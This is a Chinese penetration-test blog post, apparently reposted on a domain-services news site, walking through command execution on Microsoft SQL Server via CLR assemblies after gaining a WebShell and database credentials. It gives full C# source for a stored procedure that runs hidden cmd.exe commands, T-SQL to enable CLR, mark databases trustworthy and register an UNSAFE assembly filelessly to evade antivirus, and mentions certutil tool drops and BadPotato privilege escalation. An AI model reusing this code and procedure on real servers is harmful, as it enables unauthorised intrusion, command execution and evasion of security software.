MSSQL 利用 CLR 技术执行系统命令

在某项目外围打点的过程中,通过文件上传拿到一个 WebShell。通过 WebShell 能够执行大多数的命令,且直接是 System 权限,但却无法执行 dir 进行列目录,导致冰蝎和蚁剑都无法使用。使用冰蝎进行命令行下的操作,回显极其的慢。通过 netstat,观察到站点连接内网中某台的服务器的 1433 端口,判断是站库分离的情形,于是决定建立隧道对数据库服务器进行渗透。而稍微大一点点的文件,都无法通过网站业务的上传功能进行上传,于是通过 WebShell 写入文件的方式,写入 reGeorg 隧道文件,快速建立起代理。

障碍

通过搜寻站点的数据库配置文件,得到了数据库的用户名和密码。通过 SSMS 远程连接进内网的数据库服务器,得到的用户有sysadmin 的权限。但不幸的是无法执行xp_cmdshell ,似乎该存储过程被删了。

突破-通过 CLR 进行命令执行CLR 简介

CLR(公共语言运行时)提供了 .NET Framework 的代码执行环境,可以通过 .NET Framework 来编写存储过程、触发器等功能 。简单说,通过 CLR 能够在 SQLServer 中注册一套程序集,实现执行任意的 .NET 代码。既然可以执行代码,此时就可以实现很多功能。

编写一个 CLR

首先,在 visual studio 中创建一个 SQLSever 项目

然后,添加一个存储过程项目

接着参照如下代码编写,即可简单实现通过 cmd.exe 来进行系统命令执行

                                                                                                                        usingSystem; usingSystem.Diagnostics; usingSystem.Text; usingMicrosoft.SqlServer.Server; publicpartialclassStoredProcedures { [ Microsoft.SqlServer.Server.SqlProcedure] publicstaticvoidCmdExec( String cmd) { // Put your code here SqlContext.Pipe.Send(Command( "cmd.exe", " /c "+ cmd)); } publicstaticstringCommand( stringfilename, stringarguments ) { varprocess = newProcess; process.StartInfo.FileName = filename; if(! string.IsNullOrEmpty(arguments)) { process.StartInfo.Arguments = arguments; } process.StartInfo.CreateNoWindow = true; process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardError = true; process.StartInfo.RedirectStandardOutput = true; varstdOutput = newStringBuilder; process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data); stringstdError = null; try { process.Start; process.BeginOutputReadLine; stdError = process.StandardError.ReadToEnd; process.WaitForExit; } catch(Exception e) { SqlContext.Pipe.Send(e.Message); } if(process.ExitCode == 0) { SqlContext.Pipe.Send(stdOutput.ToString); } else { varmessage = newStringBuilder; if(! string.IsNullOrEmpty(stdError)) { message.AppendLine(stdError); } if(stdOutput.Length != 0) { message.AppendLine(stdOutput.ToString); } SqlContext.Pipe.Send(filename + arguments + " finished with exit code = "+ process.ExitCode + ": "+ message); } returnstdOutput.ToString; } }

命令执行

将代码编译完成后,会生成一个 DLL 文件,需要将 DLL 文件注册进数据库

默认情况下,MSSQL 的 CLR 是禁用的,因此首先需要开启 CLR 功能

        sp_configure'clr enabled', 1 GO RECONFIGURE GO

当导入了不安全的程序集之后,需将数据库标记为可信任的,对于其他数据库需要执行如下语句,但对 msdb 不需要,默认 msdb 就是的可信任的

  ALTERDATABASEmasterSETTRUSTWORTHY ON;

方式一,CLR 注册 DLL 支持十六进制的方式,以这种方式不需要将 DLL 文件落地到目标机器上,实现了无文件落地,能够规避杀软。并且,在目标无法处出网的情况下,也能完成操作

        CREATEASSEMBLYsp_cmdExec FROM0x4D5A90000300000004000000FFFF0000B800000000000 WITHPERMISSION_SET = UNSAFE GO

方式二,通过 SSMS 图形化界面注册

方式三,将文件落地目标机器上后进行注册

        CREATEASSEMBLYsp_cmdExec FROM'C:ProgramDataDatabase1.dll' WITHPERMISSION_SET = UNSAFE GO

注册完后,需创建存储过程,执行如下语句

            CREATE PROCEDURE sp_cmdExec @Command [ nvarchar]( 4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec GO

一切顺利的话,此时就可以通过该存储过程进行系统命令的执行

提权

数据库服务器无法出网,可以利用 WEB 服务器做平台,通过 certutil 来落地工具。由于没先列出目标的 tasklist,贸然的上传一个提权工具,结果被杀软干掉了。后来使用 C# 写的 BadPotato 上传,没被杀,成功提权。

冒出一个想法,既然 BadPotato 是 C# 写的,那么是否可以通过 CLR 来提权。找到了 Badpotato 的代码一顿抄,然后实际使用的时候发现,没成功。

在 GitHub 上找到了 WarSQLKit.DLL 项目,里面内置了很多功能,比如提权。但翻看了一下代码,发现是通过写入一个 EXE 程序来完成的。在实际利用的时候发现,不知道什么情况没有权限写入 C:ProgramDataKumpir.exe , 导致提权失败,将其修改成其他目录也无法写入,不知是否杀软在起作用

代理

为了更好的进一步渗透,代理是必须的。此时已有 System 权限,可做代理的方式很多。MSSQLProxy 是基于 CLR 实现的代理工具,原理和实现方式有兴趣的可以去了解了解。

最后

简单记录了一下实际情况利用 CLR 的过程。CLR 的好处很明显,只要有sysadmin 权限,就可以完成命令执行,并且还可以无文件落地规避杀软,由于通过 .NET 代码拓展出无限可能性,在遇到 SQLServer 环境,可以说是一个大杀器。由于是实际的项目,不便贴上过多细节的图片,部分 SQLServer 环境由本地搭建测试,若有表述不到位的地方,还请见谅。

版权申明:本站文章均来自网络,如有侵权,请联系01056159998 邮箱:itboby@foxmail.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

猜你还会喜欢下面的内容

    无相关信息

中国领先的互联网域名及云服务提供商

为您提供域名,比特币,P2P,大数据,云计算,虚拟主机,域名交易最新资讯报道

域名注册云服务器